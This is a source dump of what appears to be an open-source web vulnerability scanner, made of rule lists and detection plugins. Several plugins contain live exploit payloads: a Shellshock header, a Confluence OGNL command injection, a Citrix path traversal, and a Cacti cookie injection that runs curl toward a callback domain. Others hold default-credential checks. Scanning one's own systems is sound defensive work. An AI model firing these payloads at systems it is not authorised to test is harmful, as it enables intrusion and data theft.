/fck/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php {status=200} {type="html"} {tag="init_spell()"} 11 | # /fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellcheckder.php {status=200} {type="html"} {tag="init_spell()"} 12 | 13 | 14 | # ueditor SSRF 15 | 16 | /ueditor/ueditor.all.js {status=200} {tag="UE.version"} 17 | /ueditor/php/getRemoteImage.php {tag="'tip':'"} {status=200} 18 | -------------------------------------------------------------------------------- /lib/bbscan/rules/white.list: -------------------------------------------------------------------------------- 1 | # text to search in doc 2 | # regex can be used 3 | 4 | # 匹配的条目将被立即标记命中 5 | 6 | 7 | {text="Index of"} 8 | 9 | {text="<title>phpMyAdmin"} 10 | 11 | {text="allow_url_fopen"} 12 | 13 | {text="MemAdmin"} 14 | 15 | {text="This is the default start page for the Resin server"} 16 | 17 | # {text="Apache Tomcat"} 18 | 19 | # {text="request_uri"} 20 | 21 | {text="Login to Cacti"} 22 | 23 | {text="Zabbix"} 24 | 25 | {text="Dashboard [Jenkins]"} 26 | 27 | {text="Graphite Browser"} 28 | 29 | {text="http://www.atlassian.com/software/jira"} 30 | 31 | # {regex_text="= 0 or \ 7 | str(self.index_headers).find('_saltkey=') > 0: 8 | 9 | url_lst = ['/config/config_ucenter.php.bak', 10 | '/config/.config_ucenter.php.swp', 11 | '/config/.config_global.php.swp', 12 | '/config/config_global.php.1', 13 | '/uc_server/data/config.inc.php.bak', 14 | '/config/config_global.php.bak', 15 | '/include/config.inc.php.tmp'] 16 | 17 | for _url in url_lst: 18 | status, headers, html_doc = await self.http_request(_url) 19 | if status == 200 or status == 206: 20 | if html_doc.find('= 0: 21 | await save_script_result(self, status, self.base_url + _url, 'Discuz Backup File Found') 22 | 23 | # getcolor DOM XSS 24 | status, headers, html_doc = await self.http_request('/static/image/admincp/getcolor.htm') 25 | if html_doc.find("if(fun) eval('parent.'+fun+'") > 0: 26 | await save_script_result(self, status, self.base_url + '/static/image/admincp/getcolor.htm', 27 | '', 'Discuz getcolor DOM XSS') 28 | -------------------------------------------------------------------------------- /lib/bbscan/scripts/is_admin_site.py: -------------------------------------------------------------------------------- 1 | from lib.common import save_script_result 2 | 3 | 4 | async def do_check(self, url): 5 | if url == '/': 6 | if self.conn_pool and self.index_status in (301, 302): 7 | for keyword in ['admin', 'login', 'manage', 'backend']: 8 | if self.index_headers.get('location', '').find(keyword) >= 0: 9 | await save_script_result(self, self.index_status, self.base_url + '/', 'Admin Site') 10 | break 11 | -------------------------------------------------------------------------------- /lib/bbscan/scripts/outlook_web_app.py: -------------------------------------------------------------------------------- 1 | # Outlook Web APP 2 | 3 | import httpx 4 | from lib.common import save_script_result 5 | 6 | 7 | async def do_check(self, url): 8 | if url == '/' and self.conn_pool: 9 | if self.index_status == 302 and self.index_headers.get('location', '').lower() == 'https://%s/owa' % self.host: 10 | await save_script_result(self, 302, 'https://%s' % self.host, 'OutLook Web APP Found') 11 | return 12 | 13 | status, headers, html_doc = await self.http_request('/ews/') 14 | 15 | if status == 302: 16 | redirect_url = headers.get('location', '') 17 | if redirect_url == 'https://%shttp://%s/ews/' % (self.host, self.host): 18 | await save_script_result(self, 302, 'https://%s' % self.host, 'OutLook Web APP Found') 19 | return 20 | if redirect_url == 'https://%s/ews/' % self.host: 21 | try: 22 | async with httpx.AsyncClient() as client: 23 | r = await client.head('/ews') 24 | if r.status_code == 401: 25 | await save_script_result(self, 401, redirect_url, 'OutLook Web APP Found') 26 | except Exception as e: 27 | pass 28 | return 29 | 30 | elif status == 401: 31 | if headers.get('Server', '').find('Microsoft-IIS') >= 0: 32 | await save_script_result(self, 401, self.base_url + '/ews/', 'OutLook Web APP Found') 33 | return 34 | -------------------------------------------------------------------------------- /lib/bbscan/scripts/readme.txt: -------------------------------------------------------------------------------- 1 | 2 | 请将你编写的脚本置于这个文件夹中 3 | 4 | Place your scripts in this folder 5 | 6 | -------------------------------------------------------------------------------- /lib/bbscan/scripts/sensitive_folders.py: -------------------------------------------------------------------------------- 1 | from lib.common import save_script_result 2 | 3 | folders = """ 4 | /admin 5 | /bak 6 | /backup 7 | /conf 8 | /config 9 | /db 10 | /debug 11 | /data 12 | /database 13 | /deploy 14 | /WEB-INF 15 | /install 16 | /manage 17 | /manager 18 | /monitor 19 | /tmp 20 | /temp 21 | /test 22 | """ 23 | 24 | 25 | async def do_check(self, url): 26 | if url != '/' or not self.conn_pool or self._404_status == 301: 27 | return 28 | 29 | _folders = folders.split() 30 | 31 | for _url in _folders: 32 | if not _url: 33 | continue 34 | status, headers, html_doc = await self.http_request(_url) 35 | 36 | if status in (301, 302): 37 | location = headers.get('location', '') 38 | if location.startswith(self.base_url + _url + '/') or location.startswith(_url + '/'): 39 | # save_user_script_result(self, status, self.base_url + _url, 40 | # '', 'Possible Sensitive Folder Found') 41 | await self.enqueue(_url + '/') 42 | await self.crawl(_url + '/') 43 | 44 | if status == 206 and self._404_status != 206: 45 | await save_script_result(self, status, self.base_url + _url, '', 'Possible Sensitive File Found') 46 | -------------------------------------------------------------------------------- /lib/bbscan/scripts/tools/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/lib/bbscan/scripts/tools/__init__.py -------------------------------------------------------------------------------- /lib/bbscan/scripts/tools/port_scan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # ports_to_check 设置为 想要扫描的1个或多个端口 4 | # python BBScan.py --scripts-only --script port_scan --host www.baidu.com --network 16 --save-ports ports_80.txt 5 | 6 | ports_to_check = [80] 7 | 8 | 9 | def do_check(self, url): 10 | pass -------------------------------------------------------------------------------- /lib/bbscan/scripts/wordpress_backup_file.py: -------------------------------------------------------------------------------- 1 | # Wordpress 2 | 3 | from lib.common import save_script_result 4 | 5 | 6 | async def do_check(self, url): 7 | if url == '/' and self.conn_pool: 8 | if self.index_html_doc.find('/wp-content/themes/') >= 0: 9 | url_lst = ['/wp-config.php.inc', 10 | '/wp-config.inc', 11 | '/wp-config.bak', 12 | '/wp-config.php~', 13 | '/.wp-config.php.swp', 14 | '/wp-config.php.bak'] 15 | for _url in url_lst: 16 | status, headers, html_doc = await self.http_request(_url) 17 | if status == 200 or status == 206: 18 | if html_doc.find('= 0: 19 | await save_script_result(self, status, self.base_url + _url, '', 'WordPress Backup File Found') 20 | -------------------------------------------------------------------------------- /lib/bbscan/targets/.gitignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/lib/bbscan/targets/.gitignore -------------------------------------------------------------------------------- /lib/event.py: -------------------------------------------------------------------------------- 1 | import wx.lib.newevent 2 | 3 | 4 | LogEvent, Log_EVT_BINDER = wx.lib.newevent.NewEvent() 5 | 6 | StatusEvent, Status_EVT_BINDER = wx.lib.newevent.NewEvent() 7 | 8 | VulEvent, Vul_EVT_BINDER = wx.lib.newevent.NewEvent() 9 | -------------------------------------------------------------------------------- /lib/is-http.nse: -------------------------------------------------------------------------------- 1 | local http = require "http" 2 | local nmap = require "nmap" 3 | local shortport = require "shortport" 4 | local stdnse = require "stdnse" 5 | local table = require "table" 6 | 7 | description = [[ 8 | Check whether this port is http like service. 9 | ]] 10 | 11 | 12 | 13 | author = "Li JieJie" 14 | 15 | categories = {"discovery", "safe"} 16 | 17 | portrule = function(host, port) 18 | return true 19 | end 20 | 21 | local function fail (err) return stdnse.format_output(false, err) end 22 | 23 | action = function(host, port) 24 | local path = stdnse.get_script_args(SCRIPT_NAME..".path") or "/" 25 | local useget = stdnse.get_script_args(SCRIPT_NAME..".useget") 26 | local request_type = "HEAD" 27 | local status = false 28 | local result 29 | 30 | result = http.get(host, port, path) 31 | 32 | if not (result and result.status) then 33 | return fail("Header request failed") 34 | end 35 | 36 | table.insert(result.rawheader, "(Request type: " .. request_type .. ")") 37 | 38 | return stdnse.format_output(true, result.rawheader) 39 | end 40 | -------------------------------------------------------------------------------- /lib/jobs.py: -------------------------------------------------------------------------------- 1 | import wx 2 | import time 3 | from lib.common import get_output_tmp_path, log_output 4 | 5 | 6 | class BruteJob(object): 7 | def __init__(self, parent, domain, cmd_prefix): 8 | self.parent = parent 9 | self.domain = domain.strip() 10 | self.cmd_prefix = cmd_prefix 11 | self.output_file = '' 12 | self.tmp_dir = '' 13 | self.process = None 14 | self.pid = None 15 | self.status = '' # running / finished 16 | self.processed_lines = [] 17 | self.update_db_ok = False 18 | 19 | def start(self): 20 | self.process = wx.Process(self.parent) 21 | self.process.Redirect() 22 | self.output_file = get_output_tmp_path('%s_%s.txt' % (self.domain, str(int(time.time())))) 23 | self.tmp_dir = get_output_tmp_path('%s_%s' % (self.domain, str(int(time.time())))) 24 | cmd = self.cmd_prefix + ' -o ' + self.output_file + ' ' 25 | cmd += '--tmp ' + self.tmp_dir + ' ' 26 | self.pid = wx.Execute(cmd + self.domain, wx.EXEC_ASYNC, self.process) 27 | log_output('Brute domain: %s, pid: %s' % (self.domain, self.pid)) 28 | -------------------------------------------------------------------------------- /lib/poc/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/lib/poc/__init__.py -------------------------------------------------------------------------------- /logs/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/logs/.gitkeep -------------------------------------------------------------------------------- /output/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/output/.gitkeep -------------------------------------------------------------------------------- /pyinstaller_to_exe.bat: -------------------------------------------------------------------------------- 1 | cd tools\ds_store_exp & pyinstaller ds_store_exp.spec 2 | cd ..\.. 3 | cd tools\GitHack & pyinstaller GitHack.spec 4 | cd ..\.. 5 | cd tools\idea_exploit & pyinstaller idea_exp.spec 6 | cd ..\.. 7 | cd tools\iis_shortname_scanner & pyinstaller iis_shortname_scanner.spec 8 | cd ..\.. 9 | cd tools\swagger-exp & pyinstaller swagger-exp.spec 10 | cd ..\.. 11 | cd tools\subDomainsBrute & pyinstaller subDomainsBrute.spec 12 | cd ..\.. 13 | pyinstaller EasyPen.spec --noconfirm -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | wxpython==4.2.0 2 | lxml>=4.8.0 3 | aiodns 4 | netaddr 5 | dnspython==2.2.1 6 | async_timeout 7 | BeautifulSoup4>=4.11.1 8 | motor==3.0.0 9 | httpx>=0.23.0 10 | httpx[socks] 11 | requests>=2.28.1 12 | socksio>=1.0.0 13 | aiohttp>=3.8.1 14 | aiohttp_xmlrpc==1.5.0 15 | aioredis>=2.0.1 16 | psutil>=5.9.1 17 | etcd3>=0.12.0 18 | protobuf==3.20.1 19 | ds-store==1.3.0 20 | -------------------------------------------------------------------------------- /scripts/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/scripts/__init__.py -------------------------------------------------------------------------------- /scripts/admin_basic_auth_weak_pass.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding:utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | try: 10 | url = '%s://%s:%s/admin/' % (service, ip, port) 11 | 12 | r = await http_client(ip, port).get(url, timeout=20.0) 13 | if r.status_code == 401: 14 | for auth in [('admin', 'admin'), ('admin', '123456'), ('guest', 'guest')]: 15 | response = await http_client(ip, port).get(url, auth=auth, timeout=20.0) 16 | if response.status_code == 200: 17 | ret = { 18 | 'alert_group': 'Admin Page Weak Pass', 19 | 'affects': url, 20 | 'details': 'Admin Page Weak Password: \n' 21 | '%s admin / admin' % url 22 | } 23 | if response.text.find('ActiveMQ Console') > 0: 24 | ret['alert_group'] = 'Admin Page Weak Pass[ActiveMQ]' 25 | return ret 26 | except Exception as e: 27 | debug(e) 28 | 29 | if __name__ == '__main__': 30 | scan = do_scan('easypen-test.lijiejie.com', 8161, 'http', True, task_msg={}) 31 | run_plugin_test(scan) 32 | -------------------------------------------------------------------------------- /scripts/apache_solr_cve_2019_0192.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding:utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | 10 | url = '{}://{}:{}/solr/admin/cores?wt=json'.format(service, ip, port) 11 | apps = [] 12 | try: 13 | r = await http_client(ip, port).get(url, timeout=10.0) 14 | result = r.json() 15 | apps = result['status'].keys() 16 | except Exception as e: 17 | pass 18 | 19 | if apps: 20 | data = {"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://127.0.0.1:56411/vultest"}} 21 | for app in apps: 22 | if not app: 23 | continue 24 | url = '{}://{}:{}/solr/{}/config'.format(service, ip, port, app) 25 | try: 26 | r = await http_client(ip, port).post(url, json=data, timeout=10.0) 27 | if 'rmi://127.0.0.1:56411/vultest' in r.text: 28 | ret = { 29 | 'alert_group': 'Apache Solr RCE CVE-2019-0192', 30 | 'affects': url, 31 | 'details': 'Apache Solr RCE CVE-2019-0192, app is %s' % app 32 | } 33 | return ret 34 | except Exception as e: 35 | debug(e) 36 | 37 | 38 | if __name__ == '__main__': 39 | scan = do_scan('easypen-test.lijiejie.com', 8983, 'http', True, task_msg={}) 40 | run_plugin_test(scan) 41 | -------------------------------------------------------------------------------- /scripts/apisix_admin_default_token.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | 10 | url = "{}://{}:{}/apisix/admin/routes".format(service, ip, port) 11 | try: 12 | 13 | r = await http_client(ip, port).get(url, timeout=10.0) 14 | if not r.status_code == 401 and r.text.find('failed to check token') > 0: 15 | return 16 | 17 | r = await http_client(ip, port).get(url, 18 | headers={"X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1"}, timeout=10.0) 19 | 20 | if r.status_code == 200 and r.json()['node']: 21 | details = "\n".join([i['key'] for i in r.json()['node']['nodes']]) 22 | ret = { 23 | 'alert_group': 'APISix Default Token', 24 | 'affects': url, 25 | 'details': u'使用了API Six默认的token未修改, 可通过API命令修改路由信息并执行命令获取' 26 | u'权限,目前的路由信息:\n ' + details 27 | } 28 | return ret 29 | except json.decoder.JSONDecodeError as e: 30 | pass 31 | except Exception as e: 32 | debug(e) 33 | 34 | 35 | if __name__ == '__main__': 36 | scan = do_scan('easypen-test.lijiejie.com', 9080, 'http', True, task_msg={}) 37 | run_plugin_test(scan) 38 | -------------------------------------------------------------------------------- /scripts/apisix_dashboard_unauthorized_access.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | """ 5 | title: CVE-2021-45232: Apache APISIX Dashboard unauth 6 | published: 2021-12-28 19:53:00 7 | link: https://cert.360.cn//warning/detail?id=a96ebf4b0ace65d061b0d897eb39866b 8 | diff: https://github.com/apache/apisix-dashboard/compare/v2.10...v2.10.1#diff-4372e69d1e5940bf2aa6aed26f370959e839dcfc771ada70da65ea7257766f39 9 | """ 10 | from lib.poc.dummy import * 11 | 12 | 13 | @http_scan 14 | async def do_scan(ip, port, service, is_http, task_msg): 15 | url = "{}://{}:{}/apisix/admin/migrate/export".format(service, ip, port) 16 | 17 | try: 18 | r = await http_client(ip, port).get(url, headers={'User-Agent': GLOBAL_USER_AGENT}, timeout=10) 19 | 20 | key_words = ["Upstreams", "GlobalPlugins", "PluginConfigs", "Routes", "Consumers"] 21 | if all([i in r.text for i in key_words]) and r.status_code == 200: 22 | ret = { 23 | "alert_group": "API Six Dashboard Unauthorized Access", 24 | "details": u"API Six 未授权的API: /apisix/admin/migrate/export; /apisix/admin/migrate/import\n" + 25 | u"会导致系统被入侵, 需要升级至2.10.1及以上", 26 | "affects": "{}://{}:{}".format(service, ip, port) 27 | } 28 | return ret 29 | except Exception as e: 30 | debug(e) 31 | 32 | 33 | if __name__ == '__main__': 34 | scan = do_scan('easypen-test.lijiejie.com', 9000, 'http', True, task_msg={}) 35 | run_plugin_test(scan) 36 | -------------------------------------------------------------------------------- /scripts/bash_shell_shock_rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | try: 10 | base_url = '%s://%s:%s' % (service, ip, port) 11 | 12 | for path in ['/test.cgi', "/cgi-bin/admin.cgi", '/cgi-bin/test-cgi']: 13 | r = await http_client(ip, port).get( 14 | base_url + path, 15 | headers={'User-Agent': '() { foo;}; echo;/bin/cat /etc/passwd'}, timeout=20.0) 16 | 17 | if 'root:x:' in r.text: 18 | ret = { 19 | 'alert_group': 'Bash Shell Shock RCE', 20 | 'affects': base_url, 21 | 'details': '通过以下的请求可以针对Apache test-cgi的某些版本,造成命令执行并或者系统权限: %s \n, ' 22 | 'result: %s ' % (base_url + path, r.text) 23 | } 24 | 25 | return ret 26 | except Exception as e: 27 | debug(e) 28 | 29 | if __name__ == '__main__': 30 | scan = do_scan('easypen-test.lijiejie.com', 8080, 'http', True, task_msg={}) 31 | run_plugin_test(scan) 32 | -------------------------------------------------------------------------------- /scripts/bistoury_default_password.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | 10 | login_url = "{}://{}:{}/login.do".format(service, ip, port) 11 | 12 | try: 13 | for pwd in ['admin', '123456']: 14 | r = await http_client(ip, port).post(login_url, data={"userCode": "admin", "password": pwd}, timeout=10) 15 | 16 | if r.status_code in [301, 302] and r.headers.get("Set-Cookie", "").find("login_id=admin") >= 0: 17 | ret = { 18 | 'alert_group': '[Weak Password]Bistoury', 19 | 'affects': login_url, 20 | 'details': u'使用了弱口令的Bistoury, 可通过弱口令登录应用进而获取有权限机器的密钥与敏感配置文伯上' 21 | u'请修改弱口令 admin/{}'.format(pwd) 22 | } 23 | return ret 24 | except Exception as e: 25 | debug(e) 26 | 27 | if __name__ == '__main__': 28 | scan = do_scan('easypen-test.lijiejie.com', 80, 'http', True, task_msg={}) 29 | run_plugin_test(scan) 30 | -------------------------------------------------------------------------------- /scripts/cacti_unauthorized_access_rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from urllib.parse import quote 5 | from lib.poc.dummy import * 6 | 7 | 8 | @http_scan 9 | async def do_scan(ip, port, service, is_http, task_msg): 10 | if not conf.dnslog_enabled: 11 | return 12 | url = "{}://{}:{}".format(service, ip, port) 13 | domain = dns_monitor(ip, port).add_checker('cacti_unauthorized_rce', 14 | alert_group='Cacti Unauthorized Access RCE', 15 | details='Cacti未授权访问,通过该漏洞可在cacti服务器上执行命令') 16 | payload = ";curl${IFS}%s" % ('http' + domain) 17 | cookies = 'Cacti=' + quote(payload) 18 | 19 | target = url + "/graph_realtime.php?action=init" 20 | 21 | try: 22 | r = await http_client(ip, port).get(target, timeout=10) 23 | if r.status_code == 200 and "poller_realtime.php" in r.text: 24 | await http_client(ip, port).get(target, headers={'Cookie': cookies}, timeout=10) 25 | except Exception as e: 26 | debug(e) 27 | 28 | 29 | if __name__ == '__main__': 30 | scan = do_scan('easypen-test.lijiejie.com', 80, 'http', True, task_msg={}) 31 | run_plugin_test(scan) 32 | -------------------------------------------------------------------------------- /scripts/cassandra_open.py: -------------------------------------------------------------------------------- 1 | from lib.poc.dummy import * 2 | import base64 3 | 4 | 5 | async def do_scan(ip, port, service, is_http, task_msg): 6 | if port != 9042: 7 | return 8 | try: 9 | reader, writer = await asyncio.open_connection(ip, port) 10 | payload = base64.b64decode('BAAAAAUAAAAA') 11 | writer.write(payload) 12 | await writer.drain() 13 | data = await asyncio.wait_for(reader.read(1024), 5) 14 | writer.close() 15 | try: 16 | await writer.wait_closed() # application data after close notify (_ssl.c:2730) 17 | except Exception as e: 18 | pass 19 | 20 | if b"CQL_VERSION" in data or b'Invalid or unsupported protocol version' in data: 21 | ret = { 22 | 'alert_group': 'Apache Cassandra Unauthorized Access', 23 | 'affects': '{}:{}'.format(ip, port), 24 | 'details': 'socket://{}:{}\nCassandra service is exposed'.format(ip, port), 25 | } 26 | return ret 27 | except Exception as e: 28 | debug(e) 29 | 30 | 31 | if __name__ == '__main__': 32 | scan = do_scan('easypen-test.lijiejie.com', 9042, 'unknown', True, task_msg={}) 33 | run_plugin_test(scan) 34 | -------------------------------------------------------------------------------- /scripts/citrix_directory_traversal_rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | 10 | target = '{}://{}:{}/vpn/../vpns/cfg/smb.conf'.format(service, ip, port) 11 | try: 12 | r = await http_client(ip, port).get(target, timeout=10) 13 | 14 | if "[global]" in r.text and "encrypt passwords" in r.text and "name resolve order" in r.text: 15 | ret = { 16 | 'alert_group': 'Citrix RCE', 17 | 'affects': '{}:{}'.format(ip, port), 18 | 'details': 'Citrix存在命令执行漏洞,通过下面的请求可获取系统密码等信息\n' 19 | 'GET: {} \nreturn: {}'.format(target, r.text[:200]) 20 | } 21 | return ret 22 | except Exception as e: 23 | debug(e) 24 | 25 | 26 | if __name__ == '__main__': 27 | scan = do_scan('easypen-test.lijiejie.com', 443, 'https', True, task_msg={}) 28 | run_plugin_test(scan) 29 | -------------------------------------------------------------------------------- /scripts/confluence_rce_cve_2019_3396.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | async def verify(ip, port, base_url, data): 8 | url = base_url + "/rest/tinymce/1/macro/preview" 9 | headers = { 10 | "Referer": base_url + "/pages/resumedraft.action?draftId=&draftShareId=", 11 | "Content-Type": "application/json; charset=utf-8" 12 | } 13 | try: 14 | r = await http_client(ip, port).post(url, data=data, headers=headers, timeout=10) 15 | if 'root:x:' in r.text: 16 | return True 17 | except Exception as e: 18 | pass 19 | 20 | 21 | @http_scan 22 | async def do_scan(ip, port, service, is_http, task_msg): 23 | try: 24 | url = '{}://{}:{}'.format(service, ip, port) 25 | data = '{"contentId":"786457","macro":{"name":"widget","body":"",' \ 26 | '"params":{"url":"https://www.viddler.com/v/23464dc5",' \ 27 | '"width":"1000","height":"1000","_template":"%s"}}}' % "file:///etc/passwd" 28 | 29 | if await verify(ip, port, url, data): 30 | ret = { 31 | 'alert_group': 'Confluence RCE', 32 | 'affects': url, 33 | 'details': u'confluence版本过低,存在漏洞可读取机器上任意文件与执行任意命令,' 34 | u'举例来说,发送下面的请求至URL,可读取/etc/paswwd \n{data}\n ' 35 | u'to /rest/tinymce/1/macro/preview'.format(data=data) 36 | } 37 | return ret 38 | except Exception as e: 39 | debug(e) 40 | 41 | 42 | if __name__ == '__main__': 43 | scan = do_scan('easypen-test.lijiejie.com', 443, 'https', True, task_msg={}) 44 | run_plugin_test(scan) 45 | -------------------------------------------------------------------------------- /scripts/confluence_rce_cve_2022_26134.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | try: 10 | path = '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40' \ 11 | 'java.lang.Runtime%40getRuntime%28%29.exec%28%22ifconfig%22%29.getInputStream' \ 12 | '%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext' \ 13 | '%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/' 14 | url = '{}://{}:{}{}'.format(service, ip, port, path) 15 | r = await http_client(ip, port).get(url) 16 | if 'x-cmd-response' in str(r.headers).lower() and 'BROADCAST,' in str(r.headers): 17 | ret = { 18 | 'alert_group': 'Confluence RCE', 19 | 'affects': url, 20 | 'details': u'CVE-2022-26134:Confluence OGNL代码执行漏洞\n' 21 | u'参考链接: https://cert.360.cn/warning/detail?id=b5ed926c419f0eeccc3c801c31e9d1a0 \n' 22 | } 23 | return ret 24 | except Exception as e: 25 | debug(e) 26 | 27 | 28 | if __name__ == '__main__': 29 | scan = do_scan('easypen-test.lijiejie.com', 8090, 'http', True, task_msg={}) 30 | run_plugin_test(scan) 31 | -------------------------------------------------------------------------------- /scripts/dns_zone_transfer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | from lib.poc.axfr_client import zone_transfer 6 | import lib.config as conf 7 | 8 | 9 | async def do_scan(ip, port, service, is_http, task_msg): 10 | if service != 'domain' and port != 53: 11 | return 12 | try: 13 | domains = [] 14 | for item in conf.dns_zone_transfer_domains.split('\n'): 15 | if item.strip(): 16 | domains.append(item.strip()) 17 | 18 | for d in domains: 19 | r = await asyncio.wait_for(zone_transfer(ip, port, d), 5) 20 | if r[0]: 21 | ret = { 22 | 'alert_group': 'DNS Zone Transfer', 23 | 'affects': '%s:%s' % (ip, port), 24 | 'details': u'通过域传送漏洞可导致内部所有域名泄露,不允许开放axfr功能\n' 25 | u'Run dig @{} {} axfr for details'.format(ip, d), 26 | } 27 | return ret 28 | except Exception as e: 29 | debug(e) 30 | 31 | 32 | if __name__ == '__main__': 33 | import wx 34 | app = wx.App() 35 | conf.load_config() 36 | scan = do_scan('easypen-test.lijiejie.com', 53, 'domain', True, task_msg={}) 37 | run_plugin_test(scan) 38 | -------------------------------------------------------------------------------- /scripts/docker-register-api-exposed.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | 5 | from lib.poc.dummy import * 6 | 7 | 8 | def all_repo_belongs_internet(repo): 9 | return all([i.startswith("knative") for i in repo]) 10 | 11 | 12 | @http_scan 13 | async def do_scan(ip, port, service, is_http, task_msg): 14 | if port != 5001 and service.find('Docker Registry') < 0: 15 | return 16 | 17 | try: 18 | url = "{}://{}:{}/v2/_catalog?n=10".format(service, ip, port) 19 | r = await http_client(ip, port).get(url, timeout=10) 20 | 21 | if "Docker-Distribution-Api-Version" in r.headers and "repositories" in r.text: 22 | if not all_repo_belongs_internet(r.json()['repositories']): 23 | ret = { 24 | 'alert_group': 'docker register unauth', 25 | 'affects': '{}://{}:{}'.format(service, ip, port), 26 | 'details': u'docker register 未授权访问, 受影响的repo:\r\n{}'.format( 27 | "\n".join(r.json()['repositories'])) 28 | } 29 | return ret 30 | except json.decoder.JSONDecodeError as e: 31 | pass 32 | except Exception as e: 33 | debug(e) 34 | 35 | 36 | if __name__ == '__main__': 37 | scan = do_scan('easypen-test.lijiejie.com', 5001, 'HTTP', True, task_msg={}) 38 | run_plugin_test(scan) 39 | 40 | 41 | -------------------------------------------------------------------------------- /scripts/docker_engine_api_exposed.py: -------------------------------------------------------------------------------- 1 | from lib.poc.dummy import * 2 | 3 | 4 | @http_scan 5 | async def do_scan(ip, port, service, is_http, task_msg): 6 | try: 7 | if port not in [2375, 2376]: 8 | return 9 | url = '{}://{}:{}/info'.format(service, ip, port) 10 | r = await http_client(ip, port).get(url, timeout=10) 11 | 12 | if r.status_code == 200 and 'Content-Type' in r.headers and 'application' in r.headers.get('Content-Type') \ 13 | and 'ContainersRunning' in r.text and 'ContainersPaused' in r.text: 14 | ret = { 15 | 'alert_group': 'Docker Engine API Exposed', 16 | 'affects': '{}://{}:{}'.format(service, ip, port), 17 | 'details': '{}\nthe Docker Engine API is publicly accessible'.format(url) 18 | } 19 | return ret 20 | except Exception as e: 21 | debug(e) 22 | 23 | 24 | if __name__ == '__main__': 25 | scan = do_scan('easypen-test.lijiejie.com', 2375, 'HTTP', True, task_msg={}) 26 | run_plugin_test(scan) 27 | -------------------------------------------------------------------------------- /scripts/docker_remote_api.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/evn python3 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | async def do_scan(ip, port, service, is_http, task_msg): 8 | if port != 2375: 9 | return 10 | 11 | url = 'http://{}:{}/containers/json'.format(ip, port) 12 | try: 13 | r = await http_client(ip, port).get(url, timeout=10) 14 | if 'Command' in r.text and 'Status' in r.text and 'Created' in r.text: 15 | ret = { 16 | 'alert_group': 'Docker Remote API', 17 | 'affects': 'http://%s:%s' % (ip, port), 18 | 'details': 'Docker Remote API http://%s:%s/containers/json' % (ip, port) 19 | } 20 | return ret 21 | 22 | r = await http_client(ip, port).get('http://{}:{}/'.format(ip, port), timeout=10) 23 | if '{"message":"page not found"}' in r.text: 24 | ret = { 25 | 'alert_group': 'docker_remote_api', 26 | 'affects': 'http://%s:%s' % (ip, port), 27 | 'details': u'通过Docker API可查看,修改,或者在容器内执行命令,该端口不允许对外开放,' 28 | u'仅支持绑定127.0.0.1或者使用iptables限制访问来源\n' 29 | u'Docker Remote API http://%s:%s' % (ip, port) 30 | } 31 | return ret 32 | 33 | except Exception as e: 34 | debug(e) 35 | 36 | 37 | if __name__ == '__main__': 38 | scan = 